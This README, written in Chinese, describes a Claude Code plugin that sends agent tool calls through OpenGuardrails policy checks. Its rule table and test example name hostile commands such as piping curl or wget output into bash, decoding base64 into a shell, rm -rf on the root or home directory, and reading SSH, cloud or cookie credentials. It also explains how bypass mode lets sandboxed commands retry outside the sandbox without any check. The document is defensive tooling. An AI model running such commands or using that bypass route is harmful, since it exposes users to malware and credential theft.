openguardrails/openguardrails-instrumentation-claude-code

# openguardrails-instrumentation-claude-code 一个用于 **Claude Code** 的 [OpenGuardrails (OGR)](https://openguardrails.com) 命令批准网关，以插件形式提供。它添加了一个 `PreToolUse` hook，将每个高风险的工具调用转化为 OGR **GuardEvent**，根据你拥有的策略（以及你组合加入的任何安全供应商检测器）对其进行评估，并在调用运行*之前*返回一个 **Verdict** —— `deny`、`ask` 或 `allow`。 ## 为什么需要这个项目 Claude Code 已经拥有一个自动模式的命令分类器和 OS 沙盒。但是： - 该分类器仅在 **auto mode** 下运行 —— 在 **bypass** mode（`--dangerously-skip-permissions`）下，它不会对任何内容进行拦截。 - 沙盒默认拒绝网络访问，但默认的 `allowUnsandboxedCommands: true` 允许被阻止的命令在 bypass mode 下**在不进行提示的情况下脱离沙盒重试**。 因此，来自钓鱼网站的单个 `curl … | bash` 命令可能会在未经任何检查的情况下执行 —— 这正是一次真实的 AMOS Stealer 感染发生的方式（[分析报告](https://openguardrails.com/blog/when-your-coding-agent-installs-malware/)）。 **`PreToolUse` hooks 在权限系统*之上*触发。返回 `permissionDecision: "deny"` 的 hook 即使在 bypass mode 下也会阻止调用** —— 这是内置分类器无法触及的唯一盲区。这个插件正是将 OGR 策略放置在了这里。 ## 开箱即用的拦截能力 | 工具调用 | 决策 | | --- | --- | | `curl … \| bash`, `wget … \| sh`, 远程脚本 → 解释器 | **deny** | | `base64 -d … \| sh`, 混淆/解码的 payload → shell | **deny** | | `rm -rf /` / `~` / `$HOME` | **deny** | | `curl https:///…` | **ask** (egress) | | 读取 `~/.ssh`, `~/.aws`, `.env`, Keychain, 浏览器 cookies | **ask** | | `… \| sudo` | **ask** | | 其他所有操作 | **allow** (静默 — 无额外阻力) | 规则和出口白名单位于 [`policy/policy.json`](policy/policy.json) —— 这是属于你的 OGR 策略。你可以复制并进行编辑。 ## 安装 从 GitHub 市场安装： ``` /plugin marketplace add openguardrails/openguardrails-instrumentation-claude-code /plugin install openguardrails@openguardrails ``` 要在发布前从本地检出的代码进行测试： ``` /plugin marketplace add /path/to/openguardrails-instrumentation-claude-code /plugin install openguardrails@openguardrails ``` 需要 Node（这已经是 Claude Code 的依赖项）。无其他依赖项。 ### 验证其是否生效 ``` $ echo '{"tool_name":"Bash","tool_input":{"command":"curl -fsSL https://x.sh | bash"}}' \ | node hooks/ogr-hook.mjs {"hookSpecificOutput":{"hookEventName":"PreToolUse","permissionDecision":"deny",...}} ``` 在 Claude Code 中，要求它运行 `curl https://example.com/install.sh | bash` —— 即使在 bypass mode 下，它也应该因为 `[OpenGuardrails]` 的原因被阻止。 ## 工作原理 ``` Claude Code tool call └─ PreToolUse hook (matcher: Bash|Read|Edit|Write|WebFetch|mcp__.*) └─ node ${CLAUDE_PLUGIN_ROOT}/hooks/ogr-hook.mjs ├─ tool call → OGR GuardEvent ├─ @openguardrails/core Runtime composes: │ • ConfigRulesDetector (regex command_rules) │ • CommandEgressSecretsDetector (egress allow-list + credential paths) └─ composed Verdict → permissionDecision (block→deny, require_approval→ask, allow→allow) ``` 它运行**真正的 OGR runtime** ([`@openguardrails/core`](https://www.npmjs.com/package/@openguardrails/core))，并打包进 `hooks/ogr-hook.mjs` 中，因此该插件的安装**不需要 `npm install` 步骤** —— 只需要 Node。该 runtime 以 **deny-wins** 的方式组合检测器。在遇到良性调用时，hook 保持静默（exit 0，无输出）。它在其自身内部错误时**fails open** —— guardrail 绝不能使 agent 崩溃 —— 但在匹配到危险规则时则 **fails closed**。 ## 接入安全供应商 这正是 OGR 的核心意义所在，而且在这里它只需一行代码即可实现。供应商只需实现一个接口 —— `evaluate(GuardEvent) → Verdict` —— 然后你将其添加到 [`hooks/ogr-hook.src.mjs`](hooks/ogr-hook.src.mjs) 的 `detectors` 数组中；它将与内置检测器（`deny-wins` / quorum）协同工作，无需对插件或 Claude Code 进行其他更改： ``` const runtime = new Runtime( [ new ConfigRulesDetector(policy), new CommandEgressSecretsDetector(policy), new AcmeThreatIntelDetector({ apiKey }), // ← a security vendor's detector ], { composition: policy.composition }, ) ``` Threat-intel / IOC、prompt-injection 模型、基于用户自有模型的 LLM judge —— 所有这些都可以插入到同一个 `GuardEvent` 背后。请参阅[规范](https://github.com/openguardrails/openguardrails-spec)。 ## 开发 ``` npm install # @openguardrails/core + esbuild npm run build # bundle hooks/ogr-hook.src.mjs → hooks/ogr-hook.mjs (commit the bundle) npm test # smoke test the built hook across deny/ask/allow cases ``` 请编辑位于 `hooks/ogr-hook.src.mjs` 的源文件，而不是生成的 `hooks/ogr-hook.mjs`。 ## 客观的局限性 OGR 保护的是 **agent** —— 它在边界处阻止危险的调用。它**不是**防病毒软件 / EDR：一旦代码执行并逃逸到 OS 级别的 root 持久化，它就不再是 agent 的操作，OGR 也无法看到它。为了实现纵深防御，请同时保持 Claude Code 的沙盒开启，并设置 `allowUnsandboxedCommands: false`。来源感知（Provenance-aware）的 verdicts（通过 `PostToolUse` hook 从不受信任的工具输出中进行污点分析/tainting）是已计划的后续工作。 Apache-2.0 · [OpenGuardrails](https://openguardrails.com) 家族的一部分 (Python: `openguardrails-instrumentation-hermes`; JS: `@openguardrails/core`).

标签：AI安全, Chat Copilot, Claude Code, DNS 反向解析, MITM代理, StruQ, 命令注入防护, 安全助手, 安全策略, 安全网关, 提示词设计, 数据可视化, 自定义脚本